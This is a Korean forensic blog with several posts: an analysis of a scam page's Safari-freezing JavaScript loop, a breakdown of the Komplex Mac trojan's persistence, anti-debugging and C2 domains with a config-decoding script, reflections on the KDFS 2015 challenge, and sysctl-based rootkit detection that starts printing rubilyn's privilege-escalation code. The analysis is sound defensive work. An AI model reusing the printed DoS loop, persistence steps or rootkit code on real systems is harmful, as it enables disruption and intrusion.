n0fate Forensic Lab any security stuff

Scam Page triggers DoS attack on some apple product(?)

딱히 쓸만한 제목이 없어서 제목은 원 글 내용을 따옴

@qingfro9이 보내준 말웨어 바이트 링크(감사!)인 Tech support scam page triggers denial-of-service attack on Macs 를 보고 확인 중에 아직 살아 있는 사이트(hxxp://safari-get.net)이 있길래 curl로 급하게 긁어와서 정리함. 일단 이 녀석은 UserAgentOS 10.1.1 버전인 운영체제를 대상으로 하는 DoS 취약점임. 링크에서는 맥이라고 써있는데 iOS 10.1.1도 대상인 것 같음. 최신 버전으로 업데이트하면 문제는 해결.

스테이지 1

일단 사이트에 접속하면 index.html 페이지가 당신을 반김. 이 페이지는 특별한건 없고 접속한 클라이언트 정보를 수집해 통계 정보를제공하는 구글 애널리틱스(google analytics) 코드가 있고, 아래는 웹 브라우저의 사용자 에이전트 정보를 찾아 운영체제 버전을 식별, 리다이렉션 함.

	  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
	  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
	  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
	  })(window,document,'script','https://www.google-analytics.com/analytics.js','ga');

	  ga('create', 'UA-73784359-12', 'auto');
	  ga('send', 'pageview');

	if ((navigator.userAgent.match(/OS 10.1.1/i))) {
	   location.replace("hxxp://safari-get.com/11.php");
	} else
	{
	location.replace("hxxp://safari-get.com/10.html");}

링크 누르면 납치당하니 좀 수정함.코드를 보면, OS 10.1.1, 인 경우, 즉, 아이폰 버전이 10.1.1인 경우 11.php로 리다이렉션하고 그 외는 10.html 로 리다이렉션함.

스테이지 2

OS 10.1.1이 아닌 경우

일단 10.html은 다음과 같음.


	Warning Safari Crashed!!
	 Your Apple Device May Have Adware/Spyware Virus.

	 Call<font size="35px">+1-844-423-2465</font>
immediately to connect with Apple Technical Support for installing the Protection Software. chat logs.

DATA AT RISK:

Your credit card details and banking information.Your e-mail passwords and other account passwords.Your Facebook, Skype, AIM, ICQ and other
<font size="20px">

Your private photos, family photos and other sensitive files.Your webcam could be accessed remotely by stalkers with a VPN virus.
</font>

사파리에 출력하는 메시지. 영어 잘 못하는 내가 봐도 문법이 이상함. 여튼 해킹 당했음이라는 메시지인데 이걸 나중에 메일 제목에도 넣음. 아래는 애플 메일 앱을 띄우는 스크립트 코드임.

	jQuery('#result').append('');

RFC2638와 애플 가이드라인을 준수한 코드임. 내용은 다음과 같음.

그냥 이것만 띄우는 것이면 DoS가 아니지. 이걸 10만번 띄우는 스크립트 코드는 아래에 있음.

	 document.querySelector('a').click(0);

	 for(var i=0;i<100000;i++){
	 	 if(i>0) {

		 document.querySelector('a').click();
		 for(var x=0;x<10000;x++){
		 console.log();
		 }

	} else {
	    document.querySelector('a').click();
	    for(var x=0;x<100000;x++){
		 console.log();
	}

메일 보내는 창을 10만번 출력함. 악성코드 걸려서 정보 다털리는건 아니지만 걸리면 짜증날 듯. 시에라 가장 최근버전인 10.12.2에서 확인해보니 경고창을 보여주는 것으로 처리함. (위 링크에 스크린샷 있음). 아이폰에서는 무한로딩.

OS 10.1.1 인 경우(ex. iOS 10.1.1)

10.1.1 버전인 경우 아이튠즈를 이용함. 핵심 내용은 다음과 같음.


	jQuery('#result').append('.');
	document.querySelector('a').click();
	document.querySelector('a').click();
	document.querySelector('a').click();
	document.querySelector('a').click();
	document.querySelector('a').click();
	document.querySelector('a').click();
	[..SNIP..]

핵심은 itunes:문자열(단순한 hello임)인데 맥에서 테스트해보면 아이튠즈를 한번만 띄움. 아이튠즈 앱 자체가 여러개 뜨는 구조가 아니기 때문인 듯. 아이폰의 경우에는 에러 메시지를 계속 발생시켜서 사파리를 사용불능 상태로 만듬. 문제를 해결하려면 단순히 사파리앱을 껐다가 키는 걸론 안되고, 설정->사파리-> 방문 기록 및 웹 사이트 데이터 지우기를 선택해서 사파리 내역을 완전 삭제해야 함.

추가

10.html 코드를 curl로 긁다보니 다음과 같은 코드도 긁혔음.

	Editing:  
	/home/safarmcl/public_html/port-safari.net/ios.html
	 Encoding:    Re-open Use Code Editor     Close  Save Changes

safari-get.net 사이트 자체가 실제 운영보다는 테스트용 서버인지 에디팅 경고 메시지가 나타난 그대로 html 파일을 저장하였음. 실제 코드는 아이폰에서 정상작동되지 않음.

결론

맥, 아이폰이라고 신난다고 불법 사이트 돌아다니면 뒷통수 맞을 수 있으니 조심히 쓰자.

Komplex Malware Analysis

이 내용은 개인적으로 바이너리를 분석한 내용으로 상세한 내용은 다음 글을 참조 바람.

Sofacy’s ‘Komplex’ OS X Trojan - Paloalto Networks

Komplex Mac backdoor answers old questions - Malware Bytes

라운드 1

  • MD5 (2a06f142d87bd9b66621a30088683d6fcec019ba5cc9e5793e54f8d920ab0134.bin) = 81749e780d27ddd15973d19de77c9007
  • MachO 파일을 ‘/tmp/content’ 에 드롭, 실행 권한(755) 부여
  • 사용자 다운로드 디렉터리의 “roskosmos_2015-2025.app” 디렉터리를 삭제
  • 드롭퍼에 내장된 PDF 파일을 사용자 다운로드 디렉터리에 ‘roskosmos_2015-2025.pdf’로 생성
  • SetFile 명령어(Deprecated)를 이용하여 PDF 파일에 숨김 속성을 부여
  • ‘/tmp/content’ 파일을 실행
  • ‘open’ 명령어를 이용하여 PDF 파일을 미리보기 앱에서 보이도록 함. PDF 파일은 러시아 로켓 관련 내용임.
  • 자기 자신을 삭제

라운드 2

  • MD5 (content) = 4400ec9c4732a32149ca58e7c5806178
  • ‘mkdir -p /Users/Shared/.local/ &> /dev/null’
  • “mkdir -p ~/Library/LaunchAgents/ &> /dev/null”
  • 파일 내부에 있는 Mach O 파일을 ‘/Users/Shared/.local/kextd’에 저장
  • 자동실행을 위한 프로퍼티 리스트 생성. 경로는 ‘/Users/Shared/com.apple.updates.plist’
  • 프로퍼티 리스트를 LaunchAgent로 실행하는 쉘 스크립트 생성. 경로는 ‘/Users/Shared/start.sh’
  • cp /Users/Shared/com.apple.updates.plist $HOME/Library/LaunchAgents/ &>/dev/null
  • “/Users/Shared/com.apple.updates.plist” 삭제
  • 쉘 스크립트와 MachO 파일에 실행권한(755) 부여
  • ‘/Users/Shared/start.sh’ 실행 -> 이 과정에서 다음 스테이지로 이동
  • ‘/Users/Shared/start.sh’ 삭제
  • 자기 자신을 삭제

라운드 3(마지막)

  • MD5 (kextd) = b09fe828904a38f37b7a6f6933188279
  • 디버거가 연결되어 있는지 확인 후 있으면 자가지신을 삭제하고 종료(함수 이름은 ‘AmIBeingDebugged’)함. 코드는 iOS Anti-Debugging Protections 와 거의 동일
  • 0.06초 간격으로 ‘http://www.google.com’ 에 연결 테스트
  • 설정 정보를 복호화하여 접속할 C2 서버 도메인 명 획득. 서버 주소는 ‘hxxp://appleupdate.org’
  • 기본적인 정보 Mac OS X, 사용자 이름을 서버에 전달
  • URL을 생성하여 C2 서버에 전달 시 반응을 체크, 반응이 없으면 다른 C2 서버(백업)로 연결 시도
    • 백업 C2 서버는 ‘hxxp://apple-iclouds.net’, ‘hxxp://itunes-helper.net’
  • C2 서버에서 제어
    • 모든 데이터는 HTTP POST 방식으로 통신
    • 전송하는 데이터는 암호화 및 Base64 인코딩

설정 파일 디코딩

  • MD5 (configfile) = ef3471eaddd0683fba4880a380607973

라운드 3의 바이너리에 ‘0x9230 to 0x92F4’ 위치의 196 바이트를 디코딩해야 함. 디코딩 키는 11바이트의 XOR 키로 인코딩 되어 있으며 디코딩 루틴은 다음과 같음.

import sys
from ctypes import *

class _ConfigFile(LittleEndianStructure):
    _fields_ = [
        ('Filename', c_ubyte*0x8),
        ('PathtoSave', c_ubyte*10),
        ('BlockShell', c_ubyte*5),
        ('StartBlockFile', c_ubyte*6),
        ('BlockExecute', c_ubyte*7),
        ('BlockDelete', c_ubyte*6),
        ('EndBlockFile', c_ubyte*7),
        ('XORKEY', c_ubyte*15),
        ('MainServer', c_ubyte*0x18),
        ('BackupServer1', c_ubyte*0x18),
        ('BackupServer2', c_ubyte*0x18),
        ('MAC', c_ubyte*3),
        ('Config', c_ubyte*6),
        ('GetConfig', c_ubyte),
        ('Files', c_ubyte*4),
        ('Log', c_ubyte*3),
        ('OldConfig', c_ubyte*1),
        ('ID', c_ubyte*2),
        ('Token', c_ubyte*10),
        ('Dummy', c_ubyte*10),	# Unused
        ('Extensions', c_ubyte*20)
    ]

def _memcpy(buf, fmt):
    return cast(c_char_p(buf), POINTER(fmt)).contents

xorkey = [0x60, 0x55, 0x66, 0x45, 0x53, 0x19, 0x01, 0x72, 0x6C, 0x46, 0x3E]
xorsize = len(xorkey)

### MD5 (configfile) = ef3471eaddd0683fba4880a380607973
### config file offset : 0x9230 to 0x92F4 (196 bytes)
f = open('configfile', 'rb')
buf = f.read()
f.close()

EncConfig = _memcpy(buf, _ConfigFile)


for f,t in _ConfigFile._fields_:
    if f == 'Dummy' or f == 'XORKEY':
        continue
    field = getattr(_ConfigFile, f)
    offset = field.offset
    datasize = field.size
    output = ''
    if f == 'Extensions':
        for fileoff in xrange(0, datasize):
            output += chr((ord(buf[offset+fileoff]) ^ xorkey[fileoff%5]));
    else:
        for fileoff in xrange(0, datasize):
            output += chr((ord(buf[offset+fileoff]) ^ xorkey[fileoff%xorsize]));

    print '%s : %s'%(f, output.replace('\x00','')) 	# print type

수행 결과

$ python xor.py
Filename : FileName
PathtoSave : PathToSave
BlockShell : Shell
StartBlockFile : [file]
BlockExecute : Execute
BlockDelete : Delete
EndBlockFile : [/file]
MainServer : appleupdate.org
BackupServer1 : apple-iclouds.net
BackupServer2 : itunes-helper.net
MAC : mac
Config : config
GetConfig : 1
Files : file
Log : log
OldConfig : 2
ID : id
Token : h8sn3vq6kl
Extensions : .xml.pdf.htm.zip

KDFS 챌린지에 바라는 점

참고로 본 글은 챌린지에 참여한 참여자나 출제팀을 무시하거나 비난하는 것이 아닌 고민해야할 점을 다룬 글입니다. 그 분들의 보고서는 제 것보다 뛰어났으며, 출제팀도 많은 고민을 통해 이러한 판단 기준을 세운 것으로 보입니다. :-)

시작

KDFS 2015 결과가 나왔습니다. 아쉽게도 저는 수상하진 못했네요. 하하. 일단 수상한 다른 분들에게 감사의 말을 전합니다. 수상하신 분들의 보고서를 보니 제가 작성한 페이지보다 훨씬 많은 내용을 다루고 있었습니다+_+. 고생한게 보이는 보고서 였습니다. 그리고 수상 보고서를 쭉 보다보니 요번 포렌식 챌린지에서 출제팀과 평가팀의 의도가 파악이 되더군요.

이 챌린지는 '침해사고 당한 공유기의 디지털 포렌식 분석 보고서’ 가 아닌 ‘침해사고 당한 공유기 분석 기술 보고서’였다는 점입니다. (물론 의도는 출제팀에서만 알겠습니다만 보고서를 보는 입장에서는 그랬습니다.) 그래서 이 부분에 아쉬운 점을 적어보고자 합니다.

- 혹시나 필요하실까하여
제 보고서는 Docs 에 올려두었습니다.

1. 포렌식 분석 보고서인가 침해사고 기술 보고서인가?

본 챌린지는 펌웨어를 분석해서 증거를 채증하고 이에 대한 결함을 다루는 챌린지입니다. 생소한 기기가 아닌 잘 알려진 공유기 하나를 대상으로 하다보니 실제 케이스보다 분석이 쉬운 편이였구요. 또한 저용량 임베디드 시스템인 만큼 로깅이 잘되는 것도 아니다보니 포렌식적으로 타임라인을 구성하거나 하는 분석도 무의미했습니다. 이런 점으로 인해 문제에 다양한 포렌식 기술이 적용되기 힘들 수밖에 없었죠.
문제 자체도 펌웨어에 저장된 악성코드를 찾고 그 기능에 중점을 두었을 뿐 침입 경로를 유추하라는 내용은 없었습니다. 이 부분은 전에 'KDFS 2015 챌린지 후기’에서도 아쉬웠음을 밝힌 내용인데요. 그로인해 대부분의 대회 참여자들이 문제를 완벽하게 풀게 된 듯 합니다 ㅎㅎ. (아는 분은 일주일만에 다 풀기도 했다.) 즉 단순 문제 풀이만으로 평가한다면 모두가 만점이 될 수 밖에 없는 것이지요.. 이에 출제팀 측은 문제 자체를 다 맞춘 상황에서 보고서의 퀄리티를 중점적으로 파악할 수 밖에 없었을 것이라 생각되네요. 여기에서 출제팀과 저와의 생각의 차이가 있던 것 같습니다. 물론 제 보고서에서 틀린 점이 있을 수도 있긴 하지만요. ;-)
저는 포렌식 보고서에는 코드의 스크린샷의 무의미하다고 생각했습니다. 분석 보고서에는 발생한 증거(본 챌린지에서는 문제)만 다루면 되지 그에 분석 과정을 일일히 코드로 다루면 오히려 보고서를 보는 사람의 입장에서 보고자하는 내용이 한눈에 들어오지 않기 때문이라는 생각에서였지요.
처음에 포렌식 증거 분석 보고서를 작성할 때 이 부분 때문에 고생을 하다보니 더 그랬던 것 같습니다. 그 때 항상 들었던 이야기가 법원 증거로 제출되는 분석 보고서는 디지털 포렌식의 기본 요소를 지키면서 디지털 포렌식을 모르는 사람이 보더라도 이해할 수 있도록 작성해야 한다는 것이였는데, 이 과정을 거치면서 보고서의 많은 내용이 제거되더군요. 당연히 핵심적인 스크린샷과 설명을 제외한 내용이 문서에서 제거될 것이구요. 물론 필자가 그 때 당시 보고서 수준으로 작성한 것은 아닙니다.... 문제 자체가 기술적인 부분을 요구했으니..
그래서 풀이 보고서의 '문제 풀이' 파트를 따로 두어, 코드에 대한 내용을 최대한 배재하고, 정 필요하면 상세보고서를 보라고 했습니다. 공개된 수상 보고서를 보면 제가 작성한 기본적인 내용을 포함하고 그걸 뒷받침하기 위해서인지 많은 코드 스샷과 그에 대한 내용을 기술했습니다. 그런데 필자의 생각은 이게 들어가는게 맞냐는 것입니다. 역으로 생각하면 들어가면 안되는 내용이 보고서에 들어간게 아닌가? 아니면 내가 잘못알고 있는 것인가? 하는 생각이 들더군요.

2. 추가 공격 시나리오 서술의 범위?

추가 공격 시나리오를 작성하라는 문제가 있습니다. 이 부분에서도 평가가 많이 갈린 것 같은데요. 저의 경우에는 포렌식 챌린지이니, 본 케이스에만 맞춰서 발생할 수 있는 현재 상태에서 공격자가 할 수 있는 추가 공격 시나리오를 생각했습니다. 문제를 풀어본 사람은 알겠지만 블로그를 C&C 형태로 사용해서 이미지 파일에 있는 임무 코드를 변경할 수 있습니다.(고 판단했습니다). 그러면, 공격자는 임무 코드를 변경해서 다음 부팅 시 다른 임무를 수행하게 할 수 있을 것이다라고 판단했죠. 그 외에 네트워크 모니터링을 통한 정보 탈취, DNS 스푸핑 등의 요소는 사실 현재 침해사고 케이스를 벗어나는 것이라 생각했다. (사실 요건 디지털 포렌식 챌린지랑은 약간 벗어난 듯 합니다 ㅎㅎ)
하지만 수상 보고서를 보면, 공격자가 쉘을 가질 수 있으니.. 를 전제로 할 수 있는 모든 것이 작성된 보고서가 많았습니다. 제가 말하고자 하는 부분은 이 내용이 공격자가 이 환경 기반으로 어떤 공격을 또 할 수 있을까가 되어야 하지 않냐는 것입니다. 그로 인해 파생되는 공격은 (필자가 생각하는) 추가 공격 시나리오의 범위 밖이며, 사실 이 내용을 쓰면 이 것만 2~300쪽을 쓸 수 있을 정도로 방대한데 그 것을 넣음으로 침해사고의 핵심 내용이 가려지는 것이 아닐까? 하는 생각이 들었습니다.

이 문제를 해결방안이 딱히 없다는게 문제

출제 경험이 있던 사람으로써 말하자면, 디지털 포렌식은 문제로 내는게 쉽진 않습니다. 단순히 정답을 맞추느냐 맞추지 못했느냐의 관점으로 하면 포렌식의 절차의 연속성과 과정의 신뢰성, 그리고 포렌식에서 가장 중요한 보고서 작성에 대한 내용이 들어가지 않기 때문입니다. 그렇다고 지금같은 챌린지를하게되면, 보고서에 주관적인 판단이 들어가게 되고, 들어가지 말아야할 정보가 보고서에 들어갔다고 해서 그걸 오히려 감점을 주게된다면, 공정성의 문제가 발생하게 됩니다. 특히 이번 챌린지는 기간이 상당히 길었기 때문에 평가 시 이 문제가 더 커지게 된 듯합니다.
가장 이상적인 침해사고 챌린지는 아예 해킹 대회처럼 일정 인원으로 팀을 구성하여 이틀의 시간을 투자해서 보고서까지 제출(인원 및 시간에 대한 제한)하는 것이라 생각합니다만.. 온라인 대회는 인원에 대한 제한이 불가능하다는 것이 문제이지요..
국내에 디지털 포렌식 챌린지가 몇개 있었지만, KDFS에서 하는 챌린지는 가장 공정한 평가를 수행하고 논란의 여지가 적다고 생각합니다. 위 2개의 사항에 대해서는 아직도 고개가 갸우뚱하게 되지만 말이죠.^^ 앞으로도 다양한 상황을 고려하여 좀 더 나은 챌린지가 되길 기대하면서 글을 마칩니다.

KDFS 2015 챌린지 후기

요즘에 두 학회에서 디지털 포렌식 챌린지를 주최하고 있다. 하나는 사단법인 한국포렌식학회에서 하는 "디지털 범인을 찾아라” 이고, 다른 하나는 한국 디지털 포렌식 학회에서 하는 “KDFS Challenge” 이다. 이 두 챌린지는 다른 해킹대회처럼 어떠한 키를 찾는 것보다는 증거를 찾는 것도 중요하지만, 증거를 찾는 과정이 얼마나 논리적인지를 확인하는 것 또한 중요하게 생각하고 있다. 사실 이 쪽을 공부해본 사람들은 알겠지만 증거가 될만한 데이터를 찾더라도 해당 데이터가 증거라는 것을 입증하지 않으면 의미 없는 데이터가 되버리다보니 챌린지에서도 이러한 부분을 중요시하게 생각하는 것이 맞다. (기존 해킹 대회에 포렌식을 카테고리로 넣으면 안되는 이유이기도 하다. 특히 이 대회 때문에 사람들이 포렌식은 툴만 있으면 되는 줄 암..)
여튼 두 챌린지 중 한 챌린지는 작년부터 대회의 퀄리티 문제로 말이 많아서 해도 별로 보람도 없을 듯하여, 작년에 ‘고도화된 이벤트 로그 파서 개발’ 챌린지를 냈던 KDFS를 참여해봤다. 원래 팀 챌린지인데 팀 구하기도 그렇도 업무 외 시간에 짬내서 하다보니 중간에 포기할 수도 있다는 생각에 그냥 혼자했다. (근데 16개 팀이나 제출했다고하니 난 이번 챌린지는 망한 것 같다 ㅋㅋ)

블로그 타이틀에 후기라고 썼지만 후기만 쓰면 내용이 별랑 없다보니(위에랑 아래 있는 아쉬운 점이 다니..) 챌린지 보고서를 작성할 때 보통 보고서와 다르게 좀 더 신경쓴 부분이 뭐가 있었는지를 써 두었다. 이 글을 보고 다른 분들도 자신이 좀 더 고려한 부분을 댓글로 달아주시면, 언젠지 모를 또 다른 챌린지에서 잘 써먹도록 하겠다 ;-p

 

보고서 작성 시 고려한 사항

올해 챌린지는 IoT 장비 중에 우리가 가장 흔하게 볼 수 있는 공유기를 대상으로 하였다. 침해당한 공유기의 펌웨어 이미지를 제공하고 참여자는 이미지를 분석하여 제시된 문제를 푸는 것이였다. 하지만 단순히 답만 적어 내면 안되고 과정을 중요시 여기다보니 논리성을 많이 따졌다.

위처럼 문제를 다 풀더라도 답만 적어서 제출하면 40점으로 광탈하게 된다. (그냥 문제만 풀던 학생들에게는 좀 짜증날 수도 있겠지만 사실 이렇게 해야 포렌식 챌린지다.) 이 것 때문에 은근히 보고서에 시간 투자가 많이 이루어지게 된다. 그러다보니 문제를 푸는 것도 푸는 것이지만 보고서의 구성을 잡는 것도 중요했다. 어떻게 잡을까 생각하다가 일단 다음과 같이 구성해보기로 했다.

  • 요약 : 본 챌린지에 대한 요약 내용을 작성한다. 챌린지에 대한 소개와 뒤에 상세 분석 보고서의 내용을 토대로 침해 당한 시스템이 어떠한 악의적인 행위를 할 수 있는지를 한 쪽 분량으로 작성하였다. 본 보고서의 소개라고할까나..
  • 문제 풀이 : 각 문제를 쓰고 그에 대한 답변지를 작성하였다. 보통 보고서 내용에 대해 잘 알지 못하는 사람(보통 회사에선 상급자가 되겠지)이 보도록 작성할 경우에는 보는 사람에게 필요한 내용만 앞 부분에 2~3쪽 정도로 상세보고서 내용을 요약한다. 본 챌린지에서는 문제가 여러개이므로 문제 풀이만을 다루는 장을 상세보고서 요약본으로 대체하였다.
  • 상세 보고서 : 앞에 두 장을 작성하는데 필요한 모든 수행 내용을 논리적인 순서에 맞춰 작성한 내용을 다룬다. (보통 이 부분은 상급자가 잘 안본다.) 본 챌린지에서는 분석에 사용한 도구 목록부터 시작해서 각 도구를 활용해 분석한 일련의 과정을 다룬다. 보고서에서 가장 많은 비중을 차지한다.

뒷 장으로 갈 수록 내용이 디테일하다보니 내용이 채워지는 순서는 뒤에서부터이다. 보고서 작성 과정에서 약어나 생소한 키워드가 있다면, 각주를 통해 내용의 의미를 작성하였다. 참고한 자료의 경우에는 레퍼런스 장을 따로 만들어서 관리할까하다가 겨우 두 개밖에 안되서 각주로 같이 처리해버렸다. (원래는 논문처럼 따로 장을 만드는게 깔끔해서 좋긴 함.)

 

챌린지 문제 풀이 시 고려한 사항

본 챌린지 문제는 여러 개지만 결국 마지막 문제를 풀기 위한 일련의 과정이라고 볼 수 있다. 문제는 다음과 같다.

펌웨어 내의 악성코드를 찾고 악성 파일의 행위를 분석한 후, 악성코드가 공유기에 로드되는 이유(펌웨어 체크 루틴 취약점)를 찾고, 해결 방안을 제시하는 과정이다. 챌린지 대상 장비가 세상에 하나만 있는 장비도 아니고, 펌웨어 이미지를 제공안하는 것도 아니다보니 문제 자체는 어렵지 않았다(라고 하지만 중간에 이상한데서 삽질함..). 그럼 그냥 풀고 이래이래 풀었다고 쓰면 땡인가? 싶을 수 있는데 그게 포렌식에서는 그렇지 않다. 예를 들어, 분석 시작 시나 분석 과정 중에 나오는 새로운 분석 파일에 대해서는 파일의 고유 값을 생성(예. 해시)하여 보고서에 기록해두는 것(단순히 파일 이름만으로 하면 동일 파일 명을 가지는 변종이 동일한 행동을 한다는걸 보장할 순 없지 않는가.) 뿐만 아니라, 분석에 사용된 도구에 대한 정보도 기록해주는 것이 좋다.

한가지 더 예를 들어보면, 4번 문제(대책 제시)의 경우에는 분석 결과 기존 검증 루틴이 워낙 취약하다보니 이를 해결할 수 있는 방법을 제시하는 것이였다. 이러한 문제는 그냥 해결 방안만 작성하는 것보다는 근거가 되는 자료를 먼저 설명하고 이를 바탕으로 한 대책을 제시하는 것이 좋다고 생각했다. 나같은 경우에는 미군 임베디드 시스템 내용을 다루는 사이트에서 수정된 펌웨어를 적용하지 않게 하는 방안을 작성한 내용과 영국의 전자기기 설계 관련 사이트에 올라온 안전한 펌웨어 배포 방안을 근거로하여 방안을 작성하였다. 적어도 보고서 내용의 논리성은 갖춰야한다는 말이다.

챌린지 내용과는 상관없을 수 있는 (하지만 중요한) 부분도 식별하여 작성하였다. 분석을 해본 사람은 알겠지만 분석 과정에서 특정 URL에서 파일을 다운로드하는 행위를 한다. URL을 알았는데 문제에 없다고 해서 해당 주소를 분석하지 않는 것은 좀 아닌 것 같아서 다운로드 하는 파일을 올린 사용자에 대한 정보와 시각 정보 등을 추가적으로 작성하였다. (원래 침해대응 보고서라면 써야되는 부분일테니 말이다..)

 

챌린지의 아쉬운 점

나는 이번 챌린지에 매우 만족한다. 맨날 한다한다하면서 안한 임베디드 기기 분석을 챌린지 덕분에 할 수 있었기 때문이다. 하지만 한가지가 아쉬웠다. 침해를 역추적 하는 내용이 빠진 것이다. 공격자가 어떻게 침투했고 어떤 자료를 유출했을 지, 공격자는 누구로 생각되는지 등과 같은 내용이다. 이 부분이 없다보니 분석 보고서를 쓰는 과정에서도 뭔가가 빠진 듯한 기분을 계속 느낄 수 있었다.
내년도 챌린지에서는 이 부분이 보강되어 좀 더 나은 문제가 나왔으면 하며, 끝으로 문제 출제를 위해 노력하고 지금도 보고서 검토하느라 바쁠 플레인비트와 에스엔티웍스 에 감사의 말을 전한다 :-)

 

Check kernel state for OS X/BSD rootkit analysis

프로세스가 커널 모듈(e. 윈도는 디바이스 드라이버)와 통신할 때, IO Control / Kernel Event API를 이용하여 약속된 메시지를 전달/이벤트를 설정하고, 드라이버는 그 메시지를 핸들러에서 받아 그에 맞는 임무를 수행하는 구조를 가진다. 범용 운영체제로 알려진 시스템은 대부분 이러한 구조로 프로세스와 커널 모듈이 통신한다.

기존 BSD는 커널 모듈에서 커널의 특정 값을 가져오고 싶거나 커널 설정을 변경하여 커널 내의 서비스 설정을 변경/참조하거나, 커널 튜닝을 할 때, 기존 모듈을 수정하여 그에 맞는 인터페이스를 만들어야하며, 커널 튜닝의 경우 커널을 리빌드해야 할 수도 있다. (물론 다른 방법이 있을 수도 있다.) 이는 운영체제의 확장성, 유연성, 가용성을 낮추는 문제로 이어진다. 이러한 문제를 해결하기 위해 BSD는 커널 상태를 관리하는 구조를 만들어서 사용자가 필요한 변수를 확인하여 해당 변수를 커널/커널 모듈이 참조할 수 있게 하였다.

커널 상태는 리눅스와 BSD에 있으며, 커널 상태가 변경되면, 각 커널 상태 변수와 맵핑된 핸들러로 제어를 넘겨 동적으로 변경된 사항을 처리할 수 있도록 구성되어 있다.

커널 상태 정보를 확인하거나 설정하기 위한 도구로 sysctl(system control)이 있다. 이 도구는 몇몇 유닉스 스타일 운영체제에서 인자 값을 동적으로 변경하고 가져오기 위한 인터페이스 역할을 한다. 여기에서는 OS X의 커널 상태 관리 구조를 알아보고 OS X 루트킷이 이를 어떻게 활용했으며, 메모리에서 추적하는 방법에 대해 알아본다.

OS X에서의 커널 상태 관리 구조

커널 상태 정보에는 다양한 정보가 있을 수 있기 때문에 이 정보를 카테고리화 하여 관리한다. 예를 들어, 커널 관련된 상태 정보는 kern 카테고리에 변수로 저장한다.

$ sysctl -a | grep "kern."
kern.ostype: Darwin
kern.osrelease: 14.5.0
kern.osrevision: 199506
kern.version: Darwin Kernel Version 14.5.0: Wed Jul 29 02:26:53 PDT 2015; root:xnu-2782.40.9~1/RELEASE_X86_64
kern.maxvnodes: 132096
kern.maxproc: 1064
kern.maxfiles: 12288
kern.argmax: 262144
kern.securelevel: 0
kern.hostname: Macbook
kern.hostid: 0

주 카테고리는 다음과 같이 나눠진다.

카테고리 설명
kern 일반적인 커널 인자
vm 가상 메모리 옵션
fs 파일 시스템 옵션
machdep 기기 독립적인 설정
net 네트워크 관련 설정
debug 디버깅 설정
hw 하드웨어 정보(보통 읽기 전용)
user 사용자 프로그램에 영향을 미치는 인자
ddb 커널 디버거

필요 시엔 서브 카테고리를 여러개 둘 수도 있다. 단순하게 생각하면 여러 자식을 가질 수 있는 트리 구조라고 생각하면 된다. 이 커널 상태 정보는 KEXT에 의해 추가될 수 있으며, 프로세스는 시스템 제어(system control, sysctl) API를 통하여 해당 값을 읽고 쓸 수 있다. KEXT에는 각 커널 상태 변경 값을 SYSCTL_PROC 매크로로 등록할 수 있다.

SYSCTL_PROC(parent, nbr, name, access, ptr, arg, handler, fmt, descr);

각 커널 상태마다 접근권한과 MIB, 이름, 상태를 처리할 핸들러를 등록할 수 있다. 접근 권한은 “읽기 전용, 읽기/쓰기 가능, 시스템 튜닝에 의해 설정 가능”을 각각 R,W,L으로 표현한다. 예를 들어 하드웨어 정보는 시스템이 부팅되어 있는 동안에 변경되긴 힘들기 때문에 대부분 읽기 전용으로 설정된다.

MIB(Management Information Base)는 숫자로 커널 상태를 관리하는 코드라고 보면된다. 이 값은 sysctl에서는 나타나지 않으며, 내부적으로 관리 목적으로 활용된다. 보통 자동(OID_AUTO)으로 설정한다.

OS X 루트킷의 커널 상태 활용

커널 상태에는 INT, FLOAT, STRING과 같은 다양한 정보를 저장할 수 있으므로, 프로세스가 KEXT에 정보를 전달할 수 있다. 루트킷도 이 방법으로 프로세스 명이나 사용자 명과 같은 정보를 전달할 수 있다. 예를 들어 특정 프로세스를 은닉하고 싶다면, 커널 상태에 프로세스의 ID만 설정하면 커널이 변경된 커널 상태를 확인하여 루트킷의 핸들러로 제어를 넘긴다다. 루트킷은 핸들러를 통해 커널 상태 변수를 확인하여 프로세스 ID에 해당하는 프로세스를 은닉하고 커널 상태 값을 초기화한다.

라이브 분석의 한계

이 정보를 라이브로 분석하려면 sysctl 도구에 의존해야 한다. sysctl에서는 각 커널 상태 문자열(이름)과 설정 값을 보여준다. 즉, 라이브로 분석하려면 명령어 결과를 개별적으로 확인하여 의심가는 설정 정보를 확인해야 한다. 분석은 가능하나 효과적인 방법은 아니다. 또한 루트킷은 시스템 콜 후킹을 통해 명령어 결과 값을 간단히 변조할 수 있는 문제점도 가지고 있다.

메모리 분석을 이용한 루트킷 탐지

메모리 포렌식에서는 라이브 포렌식보다 더 많은 정보를 획득할 수 있다. 커널 변수 중 sysctl__children 은 각 커널 상태 리스트인 oid_list 구조체의 시작 주소를 가리키고 있으므로 이를 통해 커널 상태 구조체인 sytsctl_oid 를 분석할 수 있다. volafox를 이용해 요세미티 10.3 메모리 이미지의 커널 상태 정보를 분석한 결과는 다음과 같다.

$ python vol.py -i ~/Desktop/external/dumped.bin -o sysctl
Name                                                                   MIB PERMISSION                                                         Handler Value
sysctl.debug                                                           0.0        R-L                                    __kernel__(ffffff80045e0a70) None
sysctl.name2oid                                                        0.3        RWL                                    __kernel__(ffffff80045e0500) None
sysctl.proc_native                                                   0.101        R-L                                    __kernel__(ffffff80045dccd0) None
sysctl.proc_cputype                                                  0.102        R-L                                    __kernel__(ffffff80045dcc20) None
kern.ostype                                                            1.1        R-L                                    __kernel__(ffffff80045df370) Darwin
...

구조체를 분석하면 커널 상태 명, MIB, 권한 등의 정보 뿐만 아니라 커널 상태를 처리하는 핸들러의 주소를 획득할 수 있다. 이 핸들러와 KEXT 주소를 비교하면 어떤 KEXT가 커널 상태를 제어하는지 알 수 있다. KEXT 로 필터링하여 루트킷을 식별할 수 있는 것이다.

케이스 스터디

케이스는 이전 Virus Bulletin 2013에 투고한 논문의 샘플 루트킷인 rubilyn으로 하였다. 루트킷에 대한 자세한 정보는 Hunting Mac OS X rootkit with memory forensics를 참조하기 바란다. 이 루트킷은 디바이스에 명령을 내리고 명령에 필요한 정보를 커널 상태로 전달하도록 구성되어 있다. 예를 들어 KEXT의 권한 상승처리는 다음과 같다.

static int getroot(int pid)
{
    struct proc *rootpid;
    kauth_cred_t creds;
    rootpid = proc_find(pid);
    if(!rootpid)
        return 0;
